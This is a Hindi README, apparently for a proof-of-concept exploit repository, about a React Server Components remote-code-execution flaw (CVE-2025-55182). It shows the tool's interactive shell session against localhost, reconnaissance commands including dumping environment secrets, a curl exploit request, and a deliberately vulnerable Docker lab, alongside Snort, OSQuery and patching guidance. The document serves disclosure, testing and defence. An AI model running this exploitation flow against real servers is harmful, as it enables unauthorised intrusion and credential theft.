
CVE-2025-55182 के लिए एक व्यापक प्रूफ-ऑफ-कॉन्सेप्ट शोषण और शैक्षिक संसाधन, जो 10.0 के CVSS स्कोर के साथ React Server Components को प्रभावित करने वाली एक गंभीर रिमोट कोड निष्पादन भेद्यता है।
केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए
यह टूल केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच संयुक्त राज्य अमेरिका में Computer Fraud and Abuse Act (CFAA) सहित विभिन्न कानूनों तथा दुनिया भर के समान विधानों के तहत अवैध है।
आपको यह करना होगा:
लेखक और योगदानकर्ता:
इस टूल का उपयोग करके, आप स्वीकार करते हैं कि आप इन शर्तों को समझते हैं और उनसे सहमत हैं।
React2Shell दिसंबर 2025 में खोजी गई एक गंभीर भेद्यता है जो React Server Components (RSC) और उन्हें लागू करने वाले फ्रेमवर्क, विशेष रूप से Next.js, को प्रभावित करती है। यह भेद्यता एक एकल क्राफ्टेड HTTP अनुरोध के माध्यम से बिना प्रमाणीकरण के रिमोट कोड निष्पादन की अनुमति देती है।
इस रिपॉजिटरी में शामिल है:
create-next-app के साथ बनाए गए मानक Next.js ऐप शोषण योग्य हैंअसुरक्षित संस्करण:
react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0पैच किए गए संस्करण:
असुरक्षित संस्करण:
पैच किए गए संस्करण:
यह भेद्यता React Server Components के डिसीरियलाइज़ेशन तर्क में requireModule फ़ंक्शन में मौजूद है:
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
return moduleExports[metadata[2]]; // VULNERABLE LINE - Prototype chain traversal
}
यह दोष हमलावरों को React Flight प्रोटोकॉल के माध्यम से JavaScript की प्रोटोटाइप श्रृंखला को पार करने की अनुमति देता है, जिससे constructor.constructor जैसे गुणों के माध्यम से Function कंस्ट्रक्टर तक पहुँच प्राप्त होती है और मनमाना कोड निष्पादन संभव होता है।
__proto__ का शोषण करता हैFunction() तक पहुँचने के लिए constructor.constructor के माध्यम से श्रृंखला बनाता हैchild_process.execSync() के माध्यम से मनमाना JavaScript इंजेक्ट करता है┌─────────────────────────────────────────────────────────────┐
│ Attacker sends multipart/form-data with Next-Action header │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Server deserializes payload via React Flight protocol │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Fake chunk object with __proto__ pollution processed │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Blob handler invokes _formData.get(_prefix + id) │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Resolves to Function("malicious_code") │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Arbitrary code executed with Node.js process privileges │
└─────────────────────────────────────────────────────────────┘
requests लाइब्रेरी# Clone the repository
git clone https://github.com/yourusername/react2shell-poc.git
cd react2shell-poc
# Install dependencies
pip install -r requirements.txt
# Make script executable (Linux/macOS)
chmod +x react2shell.py
requests>=2.31.0
urllib3>=2.0.0
python3 react2shell.py
╔═══════════════════════════════════════════════════════════╗
║ React2Shell (CVE-2025-55182) PoC ║
║ CVSS 10.0 - Critical RCE ║
║ ║
║ Affected: React 19.0.0, 19.1.0, 19.1.1, 19.2.0 ║
║ Next.js ≥14.3.0-canary.77, 15.x, 16.x ║
║ ║
║ Cerberus Secure - Lab Use Only ║
╚═══════════════════════════════════════════════════════════╝
[?] Enter target information:
Host (e.g., localhost or 192.168.1.100): localhost
Port (e.g., 3000): 3000
[React2Shell]> id
[*] Target: http://localhost:3000/
[*] Command: id
[*] Building exploit payload...
[*] Sending exploit request...
[+] Response Status Code: 200
[*] Parsing response...
╔═══════════════════════════════════════════════════════════╗
║ COMMAND OUTPUT ║
╚═══════════════════════════════════════════════════════════╝
uid=1000(node) gid=1000(node) groups=1000(node)
[React2Shell]> whoami
[React2Shell]> pwd
[React2Shell]> ls -la
[React2Shell]> exit
# System reconnaissance
[React2Shell]> id
[React2Shell]> whoami
[React2Shell]> uname -a
[React2Shell]> cat /etc/os-release
# File system exploration
[React2Shell]> pwd
[React2Shell]> ls -la
[React2Shell]> cat package.json
# Environment variables (often contain secrets)
[React2Shell]> printenv
[React2Shell]> echo $PATH
# Network information
[React2Shell]> ifconfig
[React2Shell]> netstat -tulpn
| कमांड | विवरण |
|---|---|
<any shell command> | लक्ष्य पर कमांड निष्पादित करें |
help | सहायता संदेश प्रदर्शित करें |
exit / quit / |
शोषण प्रयासों का पता लगाने के लिए इस Snort नियम को तैनात करें:
alert http any any -> $LAN_NETWORK any (
msg:"Potential Next.js React2Shell / CVE-2025-55182 attempt";
flow:to_server,established;
content:"Next-Action"; http_header; nocase;
content:"multipart/form-data"; http_header; nocase;
pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
classtype:web-application-attack;
sid:6655001;
rev:1;
)
पहचान तर्क:
Next-Action हेडर (RSC-विशिष्ट) पर नज़र रखता हैmultipart/form-data पेलोड का पता लगाता हैname="0", status: "resolved_model", then: "$1:__proto__:then"असुरक्षित पैकेज संस्करणों की जाँच के लिए इस OSQuery नियम का उपयोग करें:
{
"queries": {
"detect_react2shell_vulnerable_packages": {
"query": "SELECT name, version, path FROM npm_packages WHERE (name='react-server-dom-parcel' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0')) OR (name='react-server-dom-turbopack' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0')) OR (name='react-server-dom-webpack' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0'));",
"interval": 3600,
"description": "Detects vulnerable versions of React Server Components packages affected by CVE-2025-55182",
"platform": "linux,windows,macos",
"version": "1.0"
}
}
}
लाभ:
अपने एप्लिकेशन लॉग में इन पैटर्नों को देखें:
- HTTP POST requests with "Next-Action" header
- Unusual multipart/form-data requests to application root
- Error messages containing "NEXT_REDIRECT" with unexpected digest values
- Spike in 500 errors with React-related stack traces
- Child process spawning from Node.js (execSync, spawn, exec)
# Check current versions
npm list react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack
# Update React to patched version
npm install [email protected] [email protected]
# Update Next.js to latest patched version
npm install next@latest
# Verify updates
npm list react react-dom next
# Clear cache and rebuild
rm -rf .next node_modules package-lock.json
npm install
npm run build
संदिग्ध पैटर्न ब्लॉक करें:
- Requests with "Next-Action" header from untrusted sources
- Multipart form data with suspicious JSON structures
- Requests matching exploit signature patterns
# Example GitHub Actions workflow
name: Security Scan
on: [push, pull_request]
jobs:
dependency-check:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Check for vulnerable React packages
run: |
npm audit --audit-level=critical
npm list react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack
इनके लिए अलर्ट सेट करें:
# Create a new Next.js app with vulnerable version
npx [email protected] vulnerable-app
cd vulnerable-app
# Install vulnerable React version
npm install [email protected] [email protected]
# Start the development server
npm run dev
एक Dockerfile बनाएं:
FROM node:18-alpine
WORKDIR /app
# Create a basic Next.js app
RUN npx [email protected] vulnerable-app --typescript --tailwind --app --no-src-dir
WORKDIR /app/vulnerable-app
# Install vulnerable React versions
RUN npm install [email protected] [email protected]
EXPOSE 3000
CMD ["npm", "run", "dev"]
बिल्ड और रन करें:
docker build -t react2shell-lab .
docker run -p 3000:3000 react2shell-lab
docker-compose.yml बनाएं:
version: '3.8'
services:
vulnerable-app:
build: .
ports:
- "3000:3000"
environment:
- NODE_ENV=development
volumes:
- ./app:/app/vulnerable-app
रन करें:
docker-compose up -d
curl के साथ परीक्षण करें:
curl -X POST http://localhost:3000/ \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
--data-binary @exploit_payload.txt
योगदान का स्वागत है! कृपया इन दिशानिर्देशों का पालन करें:
git checkout -b feature/improvement)git commit -am 'Add new detection method')git push origin feature/improvement)यह प्रोजेक्ट MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें।
Tinashe
Cerberus Secure, iConnect SA का साइबरसुरक्षा प्रभाग है, जो इनमें विशेषज्ञता रखता है:
यह भेद्यता सुरक्षा शोधकर्ताओं द्वारा React टीम को जिम्मेदारीपूर्वक प्रकट की गई थी। यह PoC इनके बाद जारी की गई है:
समयरेखा:
याद रखें: इस टूल का उपयोग जिम्मेदारीपूर्वक और केवल उन्हीं सिस्टम पर करें जिनका परीक्षण करने के लिए आप अधिकृत हैं।
इस रिपॉजिटरी के बारे में प्रश्नों, चिंताओं या सुरक्षा मुद्दों के लिए, कृपया एक issue खोलें या सीधे मेंटेनर से संपर्क करें।
| फ़ील्ड | विवरण |
|---|
| CVE ID | CVE-2025-55182 |
| CVSS स्कोर | 10.0 (गंभीर) |
| अटैक वेक्टर | नेटवर्क |
| अटैक जटिलता | निम्न |
| आवश्यक विशेषाधिकार | कोई नहीं |
| उपयोगकर्ता सहभागिता | कोई नहीं |
| प्रभाव | पूर्ण सिस्टम समझौता (RCE) |
| प्रकटीकरण तिथि | दिसंबर 2025 |
q| टूल से बाहर निकलें |